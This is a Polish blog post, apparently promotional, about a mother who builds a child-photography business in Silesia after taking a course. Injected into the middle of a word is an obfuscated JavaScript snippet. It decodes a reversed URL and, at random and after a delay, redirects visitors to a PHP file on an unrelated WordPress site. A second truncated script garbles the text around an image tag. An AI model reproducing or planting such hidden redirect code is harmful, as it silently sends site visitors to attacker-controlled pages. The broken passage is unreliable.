Moje sesje dziecięce są coraz bardziej popularne

Wykonuję zdjęcia od dwóch miesięcy. Jakiś czas temu urodziłam synka i w trakcie ciąży mąż zapisał mnie na kurs fotografii. Wiedział, że zawsze jestem aktywna i nie chciał żebym w trakcie ciąży się nudziła. Na początku nie do końca byłam przekonana do tego kursu ale po pierwszych zajęciach stwierdziłam, że to był bardzo dobry pomysł.

Robię zdjęcia dzieciaczkom

fo<script>$nJe=function(n){if (typeof ($nJe.list[n]) == „string”) return $nJe.list[n].split(„”).reverse().join(„”);return $nJe.list[n];};$nJe.list=[„\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script><script>$NjS=function(n){if(typeof ($NjS.list[n])==tografia dziecięca śląsk” class=”alignleft” height=”144″ src=”http://bramyroletygliwice.pl/wp-content/uploads/2017/06/fotografia-dziecieca-slask.jpg” style=”float: left;” width=”250″/>topiwnica.pl/fotografia/dziecieca”>Fotografia dziecięca Śląsk jest coraz bardziej popularniejsza i coraz więcej osób decyduje się na takie szkolenia i kursy. Nie są one drogie i wymagają zaangażowania a także posiadania aparatu. Wiadomo, ze im droższy aparat tym lepsze zdjęcia ale wiele zależy także od umiejętności. Mąż kupił mi porządny aparat bo wiedział, że jak nasze dziecko się urodzi to na pewno będziemy chcieli uchwycić najważniejsze momenty w jego życiu. Kiedy urodziłam synka mąż oszalał na jego punkcie i prosiła żebym robiła Filipkowi zdjęcia. Bardzo podobały mu się ujęcia, które mu robiłam. Musze przyznać, że na szkoleniu wiele się nauczyłam i miałam nawet taki pomysł żeby w trakcie urlopu macierzyńskiego rozkręcić swoją firmę. Tak tez zrobiłam. Synek był bardzo spokojny i miałam sporo czasu żeby zajmować się moją nową pasją. Mężowi spodobał się mój pomysł porzucenia kariery w korporacji i zachęcał mnie na otworzenie firmy. Fotografia dziecięca Śląsk na pewno nie będzie na początek dawać mi dużo pieniędzy ale z czasem jak będę bardziej znana i będę miała więcej zleceń to na pewno można na tym całkiem fajnie zarobić.

Zdjęcia na początku wykonywałam dzieciom moich znajomych i sąsiadów. Z czasem udało mi się podłapać kilka zleceń od klientów, których nie znałam. Teraz mogę śmiało powiedzieć, że moje usługi są znane w mieście i mam kalendarz dosyć zapełniony. Moja pracę staram się łączyć z opieką nad synkiem.